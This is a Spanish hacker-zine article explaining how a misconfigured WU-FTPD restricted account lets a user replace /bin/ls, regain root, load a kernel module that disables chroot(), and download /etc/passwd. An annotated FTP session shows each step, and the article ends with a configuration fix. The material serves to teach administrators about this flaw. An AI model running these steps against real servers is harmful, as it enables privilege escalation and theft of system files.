RESTRINGIENDO UN FTP RESTRINGIDO

Por FLoW



No, no es un trabalenguas... Este articulo esta basado en uno de los errores de configuracion mas usuales en lo referente a permisos y FTP, que en principio no puede parecer obvio, pero que a mas de un administrador ha tenido dandose cabezazos contra la pared durante algunos dias :)

Uno de los servicios mas frecuentes que ofrece un servidor es el de FTP, ya sea anonimo o para que sus usuarios puedan transferir ficheros.
Tampoco es extraño encontrar servidores que restrinjan el acceso de sus usuarios al home directory de los mismos, porque para que deberia tener acceso un usuario al sistema entero si solo usa FTP para actualizar sus paginas web, por ejemplo?

El articulo parte de mi experiencia con WU-FTPD, aunque cualquier servidor FTP que tenga la opcion de restringir el acceso de los usuarios y use un /bin/ls del directorio del usuario es potencialmente vulnerable.
Y ahora, la chicha...

Permisos, propiedades y privilegios

 Cuando creamos una cuenta en el sistema (normalmente con adduser, useradd o alguna de sus variantes) se pone como propietario del home directory del usuario al propio usuario (siempre que yo haya visto), p.e.:

drwx------   2 usuario  users        1024 Jun 21 11:26 /home/usuario/
Esto es lo logico, y lo que cabria esperar del directorio de un usuario.
El problema viene cuando configuramos un servidor de FTP que restrinja el acceso de los usuarios a su propio directorio.
Para tal fin, debemos crear una estructura de directorios en el home directory del usuario que simule la de nuestro sistema:

/etc: passwd,group - para que el servidor FTP pueda asociar los UIDs y GIDs con nombres, y asi hacerlo mas agradable al cliente.

/bin: ls, compress, gzip... - para binarios que deba ejecutar el servidor FTP.

/lib, /usr/lib: para librerias, en caso de que los binarios no esten enlazados estaticamente.

/dev: algunos sistemas operativos necesitan acceso a ciertos dispositivos para las conexiones de red.

Estos directorios no tienen porque ser manipulados por el usuario, conque podemos poner de propietario al superusuario y ponerle permisos restrictivos para el usuario.

Despistes

 El problema viene cuando hacemos esto y no advertimos que el home directory del usuario es propiedad de ese usuario y, por tanto, puede manipular cualquier fichero que cuelgue de el. No es poco frecuente encontrar un escenario asi:

drwxr-xr-x   6 usuario  users        1024 Jun 21 11:26 /home/usuario/
drwx--x--x   2 root     root         1024 Jun 21 11:26 /home/usuario/bin/
En el que el usuario usuario puede modificar libremente el directorio bin que esta en su home directory (si el directorio tiene contenido no propiedad del usuario, no se puede borrar, pero nada impide que lo renombremos :) ).

Y para que todo esto? Veamos como funciona wu.ftpd por dentro.
Cuando pedimos un listado de un directorio a traves de FTP (comando LIST), lo que el servidor FTP hace es EJECUTAR el /bin/ls , y en caso de acceso de que sea un acceso FTP restringido (guest), el /bin/ls del home directory del usuario).

 Recordemos que el servidor FTP se ejecuta como root, para abrir un puerto privilegiado (21) y tener acceso a los ficheros con informacion del usuario en caso de que sea un sistema con shadow.
Cuando un usuario entra por FTP restringido, el servidor cambio su euid (efective uid, el UID con el que corre) al del usuario. El servidor usa seteuid() en lugar de setuid() para que poder recuperar privilegios de superusuario en caso de que sea necesario, ya que con setuid() no podria recuperarlos.

 Bueno, siguiendo con el funcionamiento, el servidor FTP ejecuta este /bin/ls despues de hacer un chroot() al directorio del usuario. chroot() cambia el directorio raiz del proceso al que le pasemos como parametro, es decir, despues de un chroot() el proceso solo tiene acceso a esa parte del sistema de ficheros, y no puede salir de ahi (teoricamente).

Si el usuario puede modificar el /bin/ls (escenario que se mostraba antes), estamos a su merced =) El programa que sustituya a ls se ejecutara al hacer un LIST, con euid igual al uid del usuario, pero uid=0, con lo que este ls puede hacer tranquilamente un setuid(0) y recuperar los privilegios del superusuario, eso si, dentro del directorio restringido del usuario.

Salir del chroot()

 Como hemos dicho, aunque podamos ejecutar codigo arbitrario, nos encontramos dentro de un sistema de ficheros restringido por chroot() a nuestro home directory. Un chroot() se hereda de padres a hijos, con lo que si expandimos un proceso seguira estando limitado por el chroot().

El directorio raiz de un proceso es una propiedad que se guarda junto con el resto de informacion del proceso en una tabla de procesos que mantiene el sistema en memoria (a la que como superusuario tenemos acceso total), con lo que lo unico que debemos hacer es acceder a esta tabla de procesos, modificar nuestro directorio raiz, y expandir un proceso, que heredara el nuevo directorio raiz, y por tanto habremos escapado del chroot().

Otra aproximacion (para Linux) podria ser cargar un modulo del kernel para capturar el syscall chroot() y modificarlo para que no nos restringiera el sistema de ficheros o, puesto que el kernel tiene acceso a todo el sistema, para que ejecutara codigo arbitrario en cualquier parte. Creatividad :)

Al final del articulo podeis encontrar codigo de un modulo para Linux que modifica el syscall a chroot() para que no nos restrinja el acceso al sistema de ficheros y un sustituto para el ls que carga dicho modulo.

La practica

 A continuacion os pego un ejemplo comentado para aclarar dudas :)

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): usuario
331 Password required for usuario.
Password:
230 User usuario logged in.  Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
usuario conecta a la maquina donde tiene acceso restringido. Al conectar, el servidor ejecuta un chroot() al home directory del usuario
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x   5 usuario  users        1024 Jun 21 11:26 .
drwxr-xr-x   5 usuario  users        1024 Jun 21 11:26 ..
d--x--x--x   2 root     root         1024 Jun 21 11:26 bin
drwxr-xr-x   2 root     root         1024 Jun 21 11:26 etc
drwxr-xr-x   2 usuario  users        1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x   5 usuario  users        1024 Jun 21 11:26 .
drwxr-xr-x   5 usuario  users        1024 Jun 21 21:26 ..
d--x--x--x   2 root     root         1024 Jun 21 11:26 bin
drwxr-xr-x   2 root     root         1024 Jun 21 11:26 etc
drwxr-xr-x   2 usuario  users        1024 Jun 21 11:26 home
226 Transfer complete.
usuario esta restringido a su home directory
ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x   1 root     root       138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.
modifica el binario del ls y sube otros ficheros que necesite
ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful.
cambia los modos adecuadamente para que pueda ejecutar los ficheros que acaba de subir
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.
y ejecuta el ls modificado, que cambia su euid a 0 y carga el modulo troyano
ftp> bye
221 Goodbye.
thx:~#
llegado a este punto, el usuario tiene cargado el modulo del kernel que captura y anula la llamada a chroot()
thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): usuario
331 Password required for usuario.
Password:
230 User usuario logged in.  Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
llegados a este punto, el servidor ha hecho un chroot() al directorio del usuario, que ha sido capturado y anulado por el modulo
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 1697
drwxr-xr-x  21 root     root         1024 Jun 21 11:57 .
drwxr-xr-x  21 root     root         1024 Jun 21 11:57 ..
-rw-r--r--   1 root     root          118 Apr 21 11:26 .bash_history
drwxr-xr-x   2 root     bin          2048 Jun 21 11:26 bin
drwxr-xr-x   2 root     root         1024 Jun  8 11:26 boot
drwxr-xr-x   2 root     root         1024 Oct  6 11:26 cdrom
drwxr-xr-x   3 root     root        21504 Jun 21 15:26 dev
drwxr-xr-x  14 root     root         3072 Jun 21 15:26 etc
drwxr-xr-x   7 root     root         1024 Jun 21 19:26 export
drwxr-xr-x   7 root     root         1024 Jun 21 19:26 home
dr-xr-xr-x   5 root     root            0 Jun 21 14:26 proc
...
-rw-r--r--   1 root     root       404717 Mar 12 18:06 vmlinuz
226 Transfer complete.
con lo que usuario tiene acceso a todo el sistema de ficheros...
ftp> get /etc/passwd
226 Transfer complete.
... con todo lo que ello comporta
ftp> bye
221 Goodbye.
thx:~#
Esto es una pequeñisima demostracion de lo que puede hacerse, pensad solo que hemos cargado un modulo del kernel, algo bastante grave para la integridad de nuestro sistema...
No costaria nada crear un modulo que modifique ficheros, cambie permisos, etc, pero eso ya lo dejo para vosotros :) ( o al menos para los que no leais el codigo ;) )

Solucion

 Bueno, supongo que ya habreis visto que la solucion es trivial, poner de propietario del home directory del usuario al superusuario, y restringir los permisos, p.e.:

ilm:~$ ls -ula /home/usuario
total 5
drwxr-xr-x   6 root     root         1024 Jun 21 11:26 ./
drwxr-xr-x   8 root     root         1024 Jun 21 11:26 ../
d--x--x--x   2 root     root         1024 Jun 21 11:26 bin/
drwxr-xr-x   2 root     root         1024 Jun 21 11:26 etc/
drwxr-xr-x   2 usuario  users        1024 Jun 21 11:26 home/
ilm:~$
Mi consejo es quitar wu-ftpd y instalar ProFTPD, un servidor FTP diseñado con la seguridad en mente y que no ejecuta ningun binario externo.

Conclusion
Este no es un fallo generico del servidor FTP, sino mas bien un error nada raro de configuracion, si ya teniais todo correcto, al menos espero que os haya entretenido :)

Un saludo,
FLoW

Este texto fue sacado de la web de menter Inquietas ( http://hispahack.ccc.de/ )y por lo
tanto solo me limito a distrubuir esta informacion

El merito a kines lo merecen